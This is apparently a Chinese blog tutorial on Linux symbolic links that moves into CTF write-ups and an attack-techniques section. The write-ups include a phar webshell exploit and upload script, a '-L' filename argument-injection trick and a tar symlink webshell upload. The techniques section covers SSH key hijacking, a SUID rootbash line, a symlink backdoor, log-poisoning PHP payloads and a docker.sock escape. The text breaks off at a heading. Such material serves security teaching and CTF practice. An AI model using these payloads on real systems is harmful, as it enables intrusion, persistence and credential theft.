什么是软链接

软链接(Soft Link/Symbolic Link)是一类特殊的文件。它不存储文件数据,而是存储指向另一个文件或目录的路径。你可以将其理解为 Windows 系统中的"快捷方式"。

为什么需要软链接?

软链接在Linux系统中有着极其广泛的应用场景:

  • 版本管理:在软件开发中,可以使用软链接在不同版本的程序间快速切换(如 python -> python3.11)
  • 磁盘空间优化:将大文件或目录移动到其他分区,但保持原有访问路径不变
  • 系统配置管理:如 /etc/localtime -> /usr/share/zoneinfo/Asia/Shanghai
  • 简化路径访问:为深层目录创建快捷访问方式
  • 多用户共享:多个用户可以创建软链接指向同一文件,实现数据共享
  • 容器化部署:在Docker等容器技术中,软链接用于跨容器数据共享

命令: ln -s <目标文件或目录> <链接名>

标识: 在 ls -l 输出中,文件类型位为 l(如 lrwxrwxrwx)。

我们可以看到软链接的文件类型位为l。

软链接命令详解

# 基本用法
ln -s /path/to/target link_name

# 覆盖已存在的链接(强制创建)
ln -sf /path/to/target link_name

# 创建相对路径的软链接(推荐)
ln -s ../target link_name

# 创建目录的软链接
ln -s /var/www/html ~/website

# 批量创建软链接
ln -s /source/*.{txt,jpg} /destination/

# 查看链接指向
readlink link_name

# 查看链接的规范化绝对路径
readlink -f link_name

# 查看链接本身的信息(不跟随)
ls -l link_name
stat link_name

# 查看目标文件的信息(跟随链接)
ls -L link_name
stat -L link_name

# 查找当前目录下的所有软链接
find . -type l

# 查找并显示所有软链接及其指向
find . -type l -ls

# 查找损坏的软链接(dangling links)
find . -xtype l

# 删除软链接(注意不要在结尾加/)
rm link_name
# 或
unlink link_name

ln命令重要选项

选项

说明

-s

创建软链接(symbolic),不指定则为硬链接

-f

强制创建,覆盖已存在的文件

-i

交互模式,覆盖前提示

-n

把指向目录的符号链接视为普通文件

-v

显示创建过程

-b

覆盖前备份已存在的文件

-T

将link_name视为普通文件,而非目录

在深入了解软链接之前,我们先来了解两个核心概念。

Inode(Index Node)

Linux不能通过文件名来识别文件,而是通过Inode号。

Inode存储了文件的元数据:权限、所有者、文件大小、时间戳、指向数据块的指针等。

这里注意,Inode中不包含文件名。

Data Block

数据块,这是实际存储文件内容的地方。

Directory Entry

目录项/Dentry,这是文件名与Inode的映射。我们看到的文件名,实际上是目录文件中的一条记录,它将文件名映射到对应的Inode号。

底层机制

理解软链接的关键在于理解Linux的文件系统结构。

Hard Link(硬链接): 多个文件名指向同一个 Inode(索引节点)。删除其中一个文件名,文件数据仍然存在,直到引用计数归零。

Soft Link(软链接): 拥有自己独立的 Inode 和 Data Block。其 Data Block 中存储的内容是目标文件的路径字符串。

特性

软链接 (Symbolic Link)

硬链接 (Hard Link)

跨文件系统

支持 (可以跨分区/磁盘)

不支持 (必须在同一文件系统)

指向目录

支持

通常不支持 (防止循环引用)

Inode

拥有独立的 Inode

共享同一个 Inode

源文件删除

链接失效 (Dangling Link/死链)

链接有效 (数据仍存在)

文件大小

很小 (仅存储路径字符)

与源文件一致 (实际是同一文件)

当我们创建一个软链接时(例如 ln -s /etc/passwd my_link),文件系统底层发生了什么?

1.独立的文件身份

软链接是一个独立的文件。

它拥有自己独立的Inode,它拥有自己独立的Inode Number,它拥有自己独立的Data Block。

所以这与硬链接完全不同,硬链接只是同一格Inode的不同别名。

我们可以用这个命令查看软链接的Inode Number

ls -li <软链接文件名>

最前面的数字就是这个软链接的Inode Number

2.Data Block中存储的文件

这里是软链接最核心的原理。

普通文件的Data Block存储的是文本、二进制代码、图片数据等,但软链接的Data Block存储的是目标文件的路径字符串。

例如,如果我们执行

ln -s /var/www/html linkname

那么linkname这个文件的内容实际上就是字符串“/var/www/html”。

3.文件类型标识

在Inode的元数据中,有一个字段i_mode用于标识文件类型。

普通文件是 S_IFREG。

目录是 S_IFDIR。

软链接则是 S_IFLNK。

这就是为什么 ls -l 能看到第一个字符是 l。操作系统读到这个标志,就知道这不是真正的文件,系统需要去读它的内容找到真正的目标。

ls -l第一个字符就是文件的文件类型标识。

相对路径 vs 绝对路径

创建软链接时,路径的选择是一个关键且容易被忽视的问题。

绝对路径软链接

ln -s /var/log/syslog /tmp/link

这种方式无论从哪里访问都能正确解析,移动链接文件本身不会影响其功能,适合跨目录、跨文件系统的引用。

但是如果整个路径被移动(如 /var/log 迁移到 /mnt/logs),链接会失效。

不够灵活,路径硬编码。

相对路径软链接

cd /tmp
ln -s ../var/log/syslog link

这种方式整个目录树可以整体移动而不会破坏链接,更适合可移植的配置。

相对路径是相对于链接文件所在位置解析的,而非当前工作目录,容易出错,需要清楚理解路径解析规则。

路径解析规则

软链接中的相对路径是相对于软链接本身所在的目录解析的,而不是执行命令时的当前工作目录。

示例说明:

# 目录结构
# /home/user/project/
#   ├── data/
#   │   └── file.txt
#   └── link -> data/file.txt  (相对路径,正确)
#   └── link2 -> ./data/file.txt  (相对路径,正确)
#   └── link3 -> /home/user/project/data/file.txt  (绝对路径)

# 如果将 /home/user/project 整个目录移动到 /tmp/project
# 相对路径的link和link2仍然有效
# 绝对路径的link3会失效

跨文件系统或不确定目录结构时使用绝对路径

同一项目内部、可能整体迁移的场景使用相对路径

避免使用 ~/ 或环境变量,因为它们在链接创建时不会被展开

内核机制

为了提高性能,Linux内核对软链接的存储做了两种区分:

1.Fast Symlink

这是快速软链接。如果目标路径的字符串很短(通常小于 60 字节),内核不会分配专门的 Data Block 来存储这个路径。

路径字符串直接存储在 Inode 结构体内部 的指针区域(即原本用来存放 Data Block 指针的空间,i_blocks)。

这种软链接在读取链接时不需要读取磁盘上的数据块,只需读取 Inode 即可,减少了一次磁盘 I/O 操作,速度极快。

使用 stat 命令查看时,其 Blocks 占用可能为 0。

2.Slow Symlink

慢速软链接。如果目标路径字符串很长,Inode 存不下,内核会分配一个真实的 Data Block 来存储这个路径字符串。但是它需要额外的磁盘寻址。

内核解析机制

当我们在程序中通过软链接访问文件(例如 cat my_link)时,内核的 VFS(虚拟文件系统)层会执行下面的流程。

1.路径查找

内核解析路径,找到 my_link 对应的 Inode。

2.类型检查

内核发现该 Inode 的类型是 S_IFLNK。

3.读取内容

内核读取软链接的内容(即目标路径字符串)。

4.递归解析

内核将原本的路径替换为刚刚读取到的目标路径,然后重新发起查找过程。

5.循环检测

为了防止死循环(例如 A 指向 B,B 指向 A),Linux 内核限制了软链接的递归层数(通常是 40 层,定义在 MAXSYMLINKS 中)。如果超过这个限制,会抛出 ELOOP (Too many levels of symbolic links) 错误。

层面

普通文件

硬链接 (Hard Link)

软链接 (Soft Link)

Inode

独有

与源文件共享同一个 Inode

拥有全新的独立 Inode

数据块内容

实际数据

实际数据

目标文件的路径字符串

大小

数据大小

数据大小

路径字符的长度 (极小)

跨文件系统

N/A

不可

可以

源文件删除

N/A

链接仍有效 (数据存在)

链接失效 (死链)

主要用途

存储数据

备份、防误删

快捷方式、版本切换、跨区引用

软链接的权限特性

软链接的权限系统是Linux中最容易被误解的部分。

权限显示的真相

lrwxrwxrwx 1 root root 10 Jan 14 10:00 link -> /etc/passwd

软链接的权限位永远是 rwxrwxrwx,无论你是否修改权限。这只是一个占位符,实际没有任何意义。

访问权限完全由目标文件决定,而不是链接本身。

实际权限控制示例

# 场景1:可读的目标文件
ln -s /etc/passwd link1
cat link1  # 成功,因为/etc/passwd可读

# 场景2:不可读的目标文件
touch /tmp/secret.txt
chmod 000 /tmp/secret.txt
ln -s /tmp/secret.txt link2
cat link2  # 失败,Permission denied,尽管link2显示rwxrwxrwx

# 场景3:目录执行权限
ln -s /root root_link
ls root_link  # 可能失败,需要对/root有x权限

所有权的意义

虽然软链接的权限位无意义,但**所有权(用户和组)**是有意义的:

  1. 删除/修改链接本身:需要对链接文件所在目录有写权限
  2. 某些安全检查:如Apache的SymLinksIfOwnerMatch选项会比较链接和目标的所有者

特殊权限位

软链接不支持特殊权限位:

  • 不能设置 SUID/SGID:设置会被忽略
  • 不能设置 Sticky Bit:设置会被忽略
chmod 4755 link  # 不会生效,SUID被忽略

注意事项

1. 尾部斜杠问题

mkdir dir
ln -s /etc/passwd dir/link  # 在dir目录内创建link
rm dir/link                 # 正确删除链接
rm dir/link/                # 错误,会报错,因为不能删除目录

所以我们在删除软链接时永远不要加斜杠。

2. 循环链接

ln -s loop2 loop1
ln -s loop1 loop2
cat loop1  # 报错:Too many levels of symbolic links

检测方法:

# 使用-L选项检测
ls -L loop1

# 使用readlink -e(规范化路径,会跟随直到终点或报错)
readlink -e loop1

3. tar与软链接

# 默认情况:tar会将软链接转换为普通文件(复制内容)
tar -cf archive.tar link

# 保留软链接(推荐)
tar -h -cf archive.tar link      # -h: 跟随链接(转换为普通文件)
tar -cf archive.tar link         # 默认:保留软链接本身

# 解压时覆盖行为
tar -xf archive.tar              # 根据归档时的链接类型决定

这种利用手法和下面长城杯的EZ_upload解题手法一致。

4. cp命令与软链接

# cp默认跟随软链接(复制实际内容)
cp link dest         # dest是目标文件的副本

# 保留软链接
cp -d link dest      # dest是软链接
cp -P link dest      # 同-d
cp -a link dest      # -a保留所有属性,包括链接性质

# 复制目录时
cp -r dir dest       # 默认保留软链接
cp -rL dir dest      # -L: 跟随链接,复制实际内容
cp -rP dir dest      # -P: 保留软链接

例题 2025湾区杯 ez_readfile

ez_readfile

 <?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class Coral{
    public $pivot;

    public function __set($k, $value) {
        $k = $this->pivot->ctor;
        echo new $k($value);
    }
}

class Nimbus{
    public $handle;
    public $ctor;

    public function __destruct() {
        return $this->handle();
    }
    public function __call($name, $arg){
        $arg[1] = $this->handle->$name;
    }
}

class Zephyr{
    public $target;
    public $payload;
    public function __get($prop)
    {
        $this->target->$prop = $this->payload;
    }
}

class Acheron {
    public $mode;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->mode == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".phar";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->mode == 'r') {
            waf($data);
            $f = include($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

if(strlen($_POST[1]) < 52) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

?> 

参考文件 当include邂逅phar——DeadsecCTF2025 baby-web.pdf

当include邂逅phar题解

简单来说就是一个php文件包含的trick,当上传文件逻辑判断把能够写马的关键词全部ban了,这个时候怎么才能写马上传

代码审计后发现,我们可以上传一个文件,后缀必须是“zip,bz2,gz,xz,7z”其中之一,并且严格过滤关键字。不能出现HALT_COMPILER()、PK、<?和<?php,成功上传后会通过

$include_url=basename($_GET['url'])

获取到文件然后用

@include($SANDBOX . '/' . $include_url)

进行include

由于使用的是basename获取的文件名,所以无法用路径拼接或者伪协议来做,没有可控点,再加上关键字全部被过滤,也不可能被绕过,正常思路是无法做出来的

本题的trick需要去看php的源码跟进include上传的底层逻辑

这里用一下原文章的跟进过程

当我们include一个文件时,会调用一个叫做compile_filename的方法

它是zend引擎(php内核)的一个内部函数,他的作用...
可以看到其中有一行调用了zend_compile_file,顾名思义,它的作用是使用zend的编译器编译这个文件
跟进zend_compile_file

它判断到strstr(ZSTR_VAL(file_handle->filename),".phar"),也就是发现文件名中包含字符串.pahr就会调用phar_open_from_filename,继续跟进

这里调用了一个叫做phar_open_from_fp的东西,继续跟进

phar_open_from_fp()是用于从一个php_stream(即打开的文件流)中解析并打开一个phar文件的函数



所以我们可以先生成一个phar文件

<?php
$phar=new Phar('exploit.phar');
$phar->startBuffering();

$stub=<<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt','test');
$phar->stopBuffering();

?>

打开可以发现还有关键字

打包成gz文件

可以看到打开gz文件后关键字消失了,此时上传可以绕过关键字检测

而当我们include这个phar.gz文件时,php会自动解压这个gz文件,所以最后相当于是直接include这个phar文件,而这里面有php代码,所以直接执行了

在跟进时我们注意到,php的判断逻辑是只要文件名里有.phar这几个字就行

所以不是必须是gz文件,其他的比如phar.png phar.html等均可以include包含后直接rce,前提是绕过文件上传的关键字检测。

举一反三 本题题解

首先代码审计,可以发现利用点就在Acheron类中。有一个属性mode,data通过post传参

当mode是w时,首先过一下waf查看是否有被过滤的关键词,把data的数据放在filename文件中,然后输出filename路径

当mode是r时,同样先过一下waf,然后给了一个参数f,include了传上去的data,上传成功输出It is file。

结合上面的知识点这个题的思路就显而易见了。首先打一个phar包,里面写马,然后压缩成gz包上传,上传成功后include包含这个gz包就会以phar包形式解析。

我们先打pop链

 <?php
highlight_file(__FILE__);
class Acheron {
    public $mode;

}
$a=new Acheron();
$a->mode='w';
echo(serialize($a));
?> 

得到上传gz文件的序列化字符串

O:7:"Acheron":1:{s:4:"mode";s:1:"w";}

做phar包

<?php
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$stub = <<< 'STUB'
<?php
system('echo "<?php eval(\$_POST[\'cmd\']); ?>" > /var/www/html/shell.php');
__HALT_COMPILER();
?>
STUB;
$phar -> setStub($stub);
$phar -> addFromString('a.txt', 'aaaa');
$phar -> stopBuffering();
?>

运行后生成一个exp.phar

将它再压缩成exp.phar.gzip,以备上传

写exp

import requests
url=''
with open("exp.phar.gz","rb") as f:
    data = {"1":"O:7:\"Acheron\":1:{s:4:\"mode\";s:1:\"w\";}","0":f.read()}
    r = requests.post(url,data=data)
    print(r.text)

得到filename路径

post传

这里报错是因为序列化的O写成0了 正常执行会回显It is file

然后我们访问shell.php,发现不再是404了,已经可以200OK访问了,证明我们写马成功

蚁剑连一下,密码就是写phar包脚本中的post参数cmd,编码器选base64,连接成功

这里直接读flag权限不够,这里涉及到另外一个知识点

首先在根目录找到run.sh脚本

#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10

让AI解释一下

整体作用就是每隔10秒把/var/www/html下的内容复制一份到/var/www/html/backup/,然后把备份目录及其内容权限设为755,并无限循环执行。实质上是一个非常简单的“定时备份”脚本。

我们可以利用这个脚本,因为对flag没有权限,所以我们不能直接把他从根目录复制到/var/www/html目录下,但是我们可以创建一个指向flag的软链接

ln -s /flag flag

但是脚本中的cp执行是-P参数,不跟随链接,就是只会把软链接复制过去,而不包括软链接指向的flag的内容,这样还是看不到flag

cp指令参数

* 的解析规则(Shell Globbing)
  • Shell会列出当前目录下所有非隐藏文件和目录(以 . 开头的不会被列出)
  • 然后按字母顺序排序,生成一个文件名列表
  • 最后,把 * 替换成这个列表,再执行cp命令

如果当前目录有:

a.txt
b.txt
file.txt

就会解析成

cp -P a.txt b.txt file.txt /var/www/html/backup/
如果文件名是 - 开头会发生什么

文件名被当作命令行选项解析

linux有个特性

系统命令参数后来者胜出

也就是按命令最后面的参数执行

例如

所以我们需要把cp -P的参数改成-L

就要在目录中新建一个名为-L的文件

根据 * 的解析规则,-L会和所有文件名一起列出

又因为是按字母顺序排序,所以以 - 开头的会被列在第一位

如果当前目录有

a.txt
b.txt
file.txt
-L

此时cp -P * /var/www/html/backup/就会解析成

cp -P -L a.txt b.txt file.txt /var/www/html/backup/

这时根据系统命令参数后来者居上原则,cp的参数不再是-P,而是-L

这时cp复制就会把软链接和软链接指向的文件一起复制

解题

进入蚁剑,打开命令行终端

cd /var/www/html

进入html目录

>-L

创建名为-L的文件

ln -s /flag flag

创建一个软链接指向根目录的flag文件

此时只要run.sh文件触发,cp -P *解析为

cp -P -L xxx xxx xxx flag xxx /var/www/html/backup/

就会触发cp的L参数,把软链接和软链接指向的根目录的flag文件复制到/var/www/html/backup/,权限为755可读

cd ./backup
cat flag

拿到flag

5. 软链接与find命令

# 查找并跟随软链接
find -L /path -name "file"

# 不跟随软链接
find /path -name "file"

# 查找损坏的软链接
find . -xtype l
find . -type l ! -exec test -e {} \;

# 查找指向特定目标的链接
find . -type l -ilname /target/path

6. 脚本中的路径处理

# 错误示例
#!/bin/bash
cd /home/user/project
./script  # 可能因为软链接而失败

# 正确示例
#!/bin/bash
SCRIPT_DIR=$(cd "$(dirname "$(readlink -f "$0")")" && pwd)
cd "$SCRIPT_DIR"
./script

利用手法

1.压缩包解压攻击

这是最经典的利用手法。如果 Web 应用允许用户上传压缩包(Zip, Tar 等),并在服务器端解压,攻击者可以构造包含软链接的压缩包。

如果场景有上传压缩包并解压预览的功能,我们就可以利用软链接实现相关目的。

我们可以在本地Linux环境创建一个指向敏感文件的软链接,比如flag文件。

ln -s /flag link_to_passwd

然后我们使用支持保留符号链接的参数进行压缩(必须保留symlink属性,否则会被压缩成普通文本文件)。

zip --symlinks payload.zip link_to_passwd

或者使用tar

tar -cvf payload.tar link_to_passwd

上传到服务器解压后,如果代码直接读取解压后的文件内容,就会读取到敏感文件内容。

2025第五届长城杯 EZ_upload

随便上传一个文件,跳转至upload.php查看源码

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>

代码审计,就是上传一个名字符合要求的文件到tmp目录下,他会在tmp目录下tar解压这个文件

这个题我自己想肯定是想破头也做不出来的,感谢社团师哥的提示和帮助

这里用到的知识点就是软链接

用法

比如现在我们在a目录,在这个目录下存有b目录的一个软链接,我们往a目录下的软链接里传文件,相当于向b目录下传文件。本题就是利用这个特点来做。

解题思路

首先明确思路,本题显然只能往tmp里传文件,我们要想往靶机传马,就要在tmp目录下有一个通往/var/www/html的软链接。所以我们创建一个软链接html -> /var/www/html ,然后我们想办法往这个软链接里传马。

这里有点难懂,我看了一会儿也算是研究明白了,还是利用的linux机制

我们可以新建一个名为html的文件夹(注意这个文件夹名字和软链接名字是一样的),然后在这个文件夹里放shell.php写马,打成tar包上传。解压后,shell.php在html文件夹中,而linux就会认为这个php文件是在html软链接中,shell.php通过软链接传到了/var/www/html,也就成功写马可以利用了。

解题

1.创建html软链接

2.把这个软链接打包成tar包 1.tar

3.创建html文件夹(因为和软链接重名,可以换一个目录或者直接把软链接删掉,打完tar包后原来的软链接就没用了)

4.写shell.php并把他放在html文件夹中

5.将html/shell.php打成tar包(注意一定写这个路径html.shell.php,不能直接写./html或者html)

6.回到题目,依次上传1.tar和2.tar,访问shell.php,在根目录拿到flag

2.文件上传与条件竞争

我们还可以利用软链接配合条件竞争来绕过检查或修改文件。

比如服务器先检查上传的文件是否合法,然后进行处理。

我们可以上传一个合法的图片文件avatar.jpg,然后开启多线程并发请求。

线程A不断将图片删除并重新创建为指向敏感文件的软链接,线程B触发服务器对avator.jpg的读取和处理操作。

如果服务器在检查文件类型和实际读取文件之间存在时间差,且正好在软链接建立后读取,就会泄露敏感文件内容。

3.绕过目录限制

很多 Web 应用会限制文件访问路径(例如只能在 /uploads/ 下读取),但如果没有禁用软链接,软链接可以轻松跳出这个限制。

我们可以上传一个软链接文件指向/flag,服务器检查路径,软链接文件在uploads目录下,检查通过,操作系统自动解析软链接,读取flag文件。

4. Git泄露中的软链接

这个场景在CTF中经常出现,尤其是当Git仓库意外暴露或者 .git 目录可以直接访问的时候。

原理分析

Git本身是支持软链接的。当开发者把一个软链接文件提交到Git仓库时,Git存储的是链接的目标路径,而不是目标文件的内容。比如开发者在项目中创建了一个指向 /etc/passwd 的软链接并提交了,那Git仓库里就记录了这个链接关系。

问题在于,很多Git恢复工具(如GitHack、git-dumper等)在处理软链接时行为不一致。有些工具会把软链接还原成真正的链接文件,有些则会把它变成一个包含目标路径的普通文本文件,还有些干脆就跳过了。

实战场景

假设我们在做题时发现存在 .git 泄露,用工具把文件都扒下来后发现有个文件内容是 /etc/nginx/nginx.conf。这时候得注意,这可能原本就是个软链接,指向nginx的配置文件。

如果题目环境还在运行(不是只给你个源码包),那可以直接访问这个文件路径,说不定就能读到配置。配置文件里经常能找到数据库密码、API密钥这些敏感信息。

利用技巧

有个比较实用的方法,用 git show 命令查看文件的历史:

# 列出所有提交历史
git log --oneline

# 查看某个特定提交的文件信息
git show <commit_id>:config_file

# 或者直接查看文件的类型信息
git ls-files -s | grep 120000

那个 120000 就是Git里软链接的模式位。如果看到这个数字,说明这个文件在Git仓库里就是软链接。

之前做过一道题,场景是有个开发者为了方便访问配置文件,在Web目录下创建了一个软链接指向 /etc/mysql/my.cnf。 .git 泄露后,虽然Web服务器本身禁止直接访问 /etc/ 下的文件,但通过恢复出来的软链接文件就能读到数据库配置,拿到root密码。

5. 覆盖与写入

这个技巧的核心思想是利用解压过程来覆盖或修改系统文件。这比单纯的文件读取要危险得多,因为它可以修改文件内容。

原理

当我们解压一个压缩包时,解压程序会按照文件在压缩包里的顺序逐个提取。假设压缩包里有这几个文件:

  1. link -> 指向 /etc/crontab 的软链接
  2. link -> 一个新的cron任务文件

虽然文件名都是 link,但它们在压缩包里是两个独立的条目。如果解压程序先解压了软链接,那么再解压第二个 link 文件时,就会把内容写到软链接指向的位置,也就是 /etc/crontab。

利用条件

这个技巧需要满足几个条件:

  1. 应用允许上传压缩包并解压
  2. 解压过程中,同名文件会覆盖
  3. 我们能够控制解压顺序(或者默认顺序对我们有利)
  4. 目标目录对Web用户有写权限

实际应用

这个技巧在实战中的成功率不高。

大多数解压程序在遇到同名文件时会报错或者跳过,不会直接覆盖。而且现在的应用都会做权限控制,Web用户一般没有权限写系统文件。

但是如果应用本身提供了文件下载功能,并且下载的文件名可以控制,那我们可以尝试:

  1. 先创建软链接指向目标文件
  2. 然后上传一个同名文件
  3. 应用可能会覆盖目标文件

之前还碰到过一个更现实的案例。某个应用允许用户上传头像,处理逻辑如下

  1. 检查上传文件是不是图片
  2. 如果是,就保存到 /var/www/uploads/用户ID/头像名
  3. 用 mv 命令移动文件

这里的漏洞点就在于mv 命令会跟随软链接。我们可以利用上面的操作步骤

  1. 创建软链接 /var/www/uploads/攻击者ID/avatar.jpg -> /var/www/html/index.php
  2. 上传一个webshell,伪装成jpg文件
  3. 服务器检查文件头
  4. 移动文件时,因为存在软链接,直接覆盖了 index.php

这个技巧的成功率不高,在特定条件下可能有效。做题的时候可以试试,建议不要抱太大期望。

6. SSH配置劫持

这个技巧用于获得一定权限后想要进一步提权。

SSH的认证机制

SSH登录有两种主要方式:密码认证和密钥认证。密钥认证更安全,所以很多生产环境会关闭密码登录,只允许密钥登录。这时候如果我们能往 ~/.ssh/authorized_keys 文件里写入自己的公钥,就能免密登录。

利用思路

假设我们现在有个低权限的Web shell,想拿到更高权限的SSH访问。可以这样操作:

  1. 找到有写权限的目录,比如 /tmp 或 /var/tmp
  2. 创建一个软链接,指向目标的 authorized_keys 文件:
ln -s /root/.ssh/authorized_keys /tmp/my_key
  1. 向软链接写入自己的公钥:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." > /tmp/my_key
  1. 因为是软链接,内容实际写到了 /root/.ssh/authorized_keys

但这里有坑

直接这么干通常会失败。

authorized_keys 文件的权限要求非常严格,必须是600或400,所属用户必须是目标用户。

我们虽然可以通过软链接写入内容,但没办法修改文件权限。

即使写进去了,SSH守护进程也会因为权限不对而拒绝使用这个文件。

所以这个技巧更多是种思路,在CTF题目里可能会遇到权限设置不当的情况。实战中成功率不高。

变通方法

有个更实用的场景。假设某个应用会定期生成备份文件,保存到 /backups/ 目录:

# 应用逻辑
cp /root/.ssh/authorized_keys /backups/ssh_keys_$(date +%Y%m%d)

如果我们能把 /backups/ssh_keys_YYYYMMDD 替换成软链接,就能拿到目标的SSH密钥。

具体做法:

  1. 等应用生成一个新的备份文件
  2. 删除这个备份文件
  3. 创建同名软链接指向我们想读的文件:
rm /backups/ssh_keys_20250114
ln -s /root/.ssh/id_rsa /backups/ssh_keys_20250114
  1. 等下一次备份周期,应用读取"备份文件"时,实际读到了私钥内容,可能保存到日志或其他我们可以访问的地方

7. 环境变量和配置文件劫持

这个技巧利用的是程序启动时会读取配置文件的行为。如果我们能让程序读取一个我们控制的文件(通过软链接),就可能实现代码执行。

Shell配置文件

当用户登录或打开新shell时,会读取一些配置文件:

  • ~/.bashrc: 交互式non-login shell启动时读取
  • ~/.profile 或 ~/.bash_profile: login shell启动时读取
  • /etc/profile: 全局配置,所有用户的login shell都会读

如果我们能替换这些配置文件,就可以在用户登录时执行命令。

实际场景

假设我们有个低权限shell,想在高权限用户登录时执行命令:

# 在自己家目录创建软链接
ln -s /etc/passwd ~/.bashrc

但这并没有什么用,因为 ~/.bashrc 会被当做shell脚本执行,而 /etc/passwd 不是合法的shell语法。

我们可以找到一个会被高权限用户读取的配置文件用我们的恶意配置文件替换它。

比如:

# 如果root用户会执行su切换到我们的账号
# 他会读取我们的~/.bashrc
# 我们可以在里面写入命令
echo "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash" > ~/.bashrc

但这样还是需要我们能写自己的配置文件,跟软链接关系不大。

真正的利用点

软链接真正有用的地方在于,让程序读取一个它以为是配置文件,实际上是其他文件的内容。

举个例子。某个应用启动时读取 /opt/app/config.ini:

# 应用代码
with open('/opt/app/config.ini', 'r') as f:
    config = f.read()

如果我们能把这个文件替换成软链接:

rm /opt/app/config.ini
ln -s /root/.ssh/id_rsa /opt/app/config.ini

然后触发应用重新加载配置(或者等它自动重启),就可能把私钥内容显示在日志或错误信息里。

例题

有个定时任务,每分钟执行一次 /usr/local/bin/check.sh

这个脚本会读取 /tmp/status 文件,根据内容做一些操作

我们有 /tmp 的写权限

解题思路:

# 创建软链接
rm /tmp/status
ln -s /flag /tmp/status

# 等待定时任务执行
# 脚本读取/flag的内容,可能会输出到日志
tail -f /var/log/cron.log

隐蔽的后门

软链接做后门不容易被发现。

假设我们拿到了服务器访问权限,想留个后门,可以不用创建webshell文件,而是:

# 创建一个看起来很正常的配置文件
ln -s /root/.ssh/id_rsa /var/www/html/config.php.bak

这个文件名看起来像是个备份文件,管理员可能不会注意。但访问它的时候,实际读到的却是私钥。

8. 日志投毒与注入

这个技巧是利用日志文件来达到我们的目的。日志文件通常有写入权限,而且经常会被某些程序读取或解析。

基本原理

很多应用会把用户输入记录到日志里。比如访问日志、错误日志、审计日志等。如果我们能让应用把特殊内容写入日志,然后触发某种解析机制,就可能实现代码执行。

日志包含

假设有个PHP页面,会显示最近的错误日志:

$error_log = file_get_contents('/var/log/php/error.log');
echo "<pre>$error_log</pre>";

如果我们可以控制被写入日志的内容,就可以注入PHP代码。但我们怎么把代码写进日志?

我们可以创建一个软链接,指向日志文件,把软链接打包上传,让应用解压并"读取"这个文件。应用读取过程中,把我们的恶意内容写进日志

具体例子:

# 创建软链接
ln -s /var/log/php/error.log exploit
# 打包
tar -cf payload.tar exploit

然后上传这个压缩包。如果应用的逻辑是"解压后读取所有文件内容并写日志",那么在读取 exploit 文件时,实际会读取 /var/log/php/error.log 的内容。但这里有个问题:我们想让日志里包含我们的恶意代码,而不是读取已有内容。

控制日志内容

更实用的方法是直接往日志文件里写东西。假设我们有个文件上传漏洞:

# 应用逻辑
def handle_upload(file):
    # 记录上传日志
    with open('/var/log/app/upload.log', 'a') as log:
        log.write(f"Uploaded: {file.filename}\n")

    # 保存文件
    file.save(f"/uploads/{file.filename}")

如果我们上传的文件名是 <?php system($_GET['c']); ?>.jpg,日志里就会记录这个文件名。如果有个地方能包含并执行这个日志文件就能rce。

软链接+日志污染

我们发现应用会解压上传的压缩包,并读取每个文件的内容写日志。我们创建一个文件,内容是恶意代码,比如 <?php system($_GET['c']); ?>

再创建一个软链接,指向应用的日志文件,把它们一起打包上传

# 创建恶意文件
echo "<?php system(\$_GET['c']); ?>" > shell.txt

# 创建软链接指向日志
ln -s /var/log/app/access.log log

# 打包
tar -cf payload.tar shell.txt log

当应用解压并读取这些文件时:

  • 读取 shell.txt,把恶意代码写进日志
  • 读取 log 时,实际读取日志文件本身

如果某个页面会include这个日志文件,就实现了RCE。

例题

有个文件上传功能,上传后解压,应用会把解压出的文件名记录到 /tmp/process.log,有个页面会 include('/tmp/process.log')

解题思路:

# 创建文件名带有恶意代码的文件
touch "<?php system(\$_GET['c']); ?>.txt"

# 打包上传
tar -cf payload.tar "<?php system(\$_GET['c']); ?>.txt"

上传后,文件名被写入日志。然后访问include日志的页面,带上参数 ?c=cat+/flag,就拿到flag了。

9. 容器逃逸

Docker容器在很多CTF题和实战场景中都会遇到。容器逃逸是指从容器内部突破到宿主机的过程,软链接在其中可以发挥一些作用。

Docker的基本隔离机制

Docker容器通过Linux的namespace和cgroup实现隔离。但在某些配置不当的情况下,容器可以获得超出预期的权限。

挂载docker.sock

这是最常见也最危险的场景。如果Docker守护进程的socket文件被挂载进容器,容器就可以控制整个Docker daemon。

# 检查是否挂载了docker.sock
ls -la /var/run/docker.sock

如果存在,而且我们有权限访问,就可以通过Docker API创建新容器,把宿主机的根目录挂载到新容器里。

# 创建一个特权容器
docker run -it -v /:/mnt ubuntu /bin/bash
# 现在可以访问宿主机的文件系统了
cat /mnt/etc/shadow

但这跟软链接有什么关系?

假设题目限制了我们不能直接访问 /var/run/docker.sock,但我们可以在某个可写目录创建软链接:

mkdir /tmp/exploit
cd /tmp/exploit
ln -s /var/run/docker.sock ./socket

然后如果应用会读取 /tmp/exploit 目录下的文件并执行某些操作,就可能通过软链接间接访问到docker.sock。

路径遍历结合软链接

